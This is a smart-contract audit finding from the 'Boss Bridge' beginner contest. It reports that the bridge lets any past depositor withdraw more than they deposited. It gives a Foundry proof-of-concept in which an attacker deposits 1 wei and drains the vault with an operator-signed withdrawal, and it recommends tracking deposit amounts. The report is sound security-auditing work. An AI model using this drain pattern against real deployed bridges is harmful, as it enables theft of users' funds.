First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Because bridge does not check deposit amounts a malicious user can withdraw more than they deposited

zxarcs

Summary

When funds are withdrawn, bridge operators do not check how much was initially deposited by an address and, as long as the withdrawing address deposited in the past, their withdrawals will be granted -no matter how much they deposited.

Details

From documentation:

The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.

Note that bridge operators do not check amounts of deposits per address. The operators only check that the user deposited at some point in the past. It is not mentioned anywhere in the documentation, nor is it coded anywhere to check amounts of deposits before withdrawing.

Not checking deposit amounts can lead to withdrawals being larger than initial deposits.

Filename

src/L1BossBridge.sol

Permalinks

https://github.com/Cyfrin/2023-11-Boss-Bridge/blob/dad104a9f481aace15a550cf3113e81ad6bdf061/src/L1BossBridge.sol#L91

Impact

Funds can be drained by a single withdraw function by a user that deposited in the past.

Recommendations

It is recommended that when a user makes a deposit there exists a mapping that will keep track of how much a address deposited total. That address can only withdraw up to that amount of funds.

mapping(address => uint) public depositAmounts;

Tools Used

  • Manual Audit

  • Foundry

POC

function testUserCanWithdrawMoreThenDeposited() public {
// set up attacker and fund them with tiny amount of token
address attacker = makeAddr("attacker");
vm.prank(deployer);
token.transfer(address(attacker), 1); // fund with just 1 wei
address attackerInL2 = makeAddr("attackerInL2");
uint256 attackerDeposit = 1;
// regular user deposit
uint256 userDeposit = 10e18;
vm.prank(user);
token.approve(address(tokenBridge), userDeposit);
tokenBridge.depositTokensToL2(user, userInL2, userDeposit);
​
// attacker deposits tiny amount just in order to register as a depositor
// because operator will make sure that we have deposited funds before
vm.prank(attacker);
token.approve(address(tokenBridge), attackerDeposit);
tokenBridge.depositTokensToL2(attacker, attackerInL2, attackerDeposit);
assertEq(token.balanceOf(address(vault)), userDeposit + attackerDeposit);
​
// now that the attacker is registered as a depositer, we can do a withdraw of all funds
// operator only checks that attacker has deposited before, which we did above
// operator does not check deposit amounts
(uint8 v, bytes32 r, bytes32 s) =
_signMessage(_getTokenWithdrawalMessage(attacker, userDeposit + attackerDeposit), operator.key);
tokenBridge.withdrawTokensToL1(attacker, userDeposit + attackerDeposit, v, r, s);
​
assertEq(token.balanceOf(address(attacker)), userDeposit + attackerDeposit);
assertEq(token.balanceOf(address(vault)), 0);
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1(): No check for deposits amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.